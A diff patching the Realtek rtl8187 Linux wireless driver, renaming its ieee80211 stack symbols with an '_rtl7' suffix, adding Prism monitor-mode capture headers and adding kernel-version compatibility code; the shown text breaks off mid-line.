-1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define 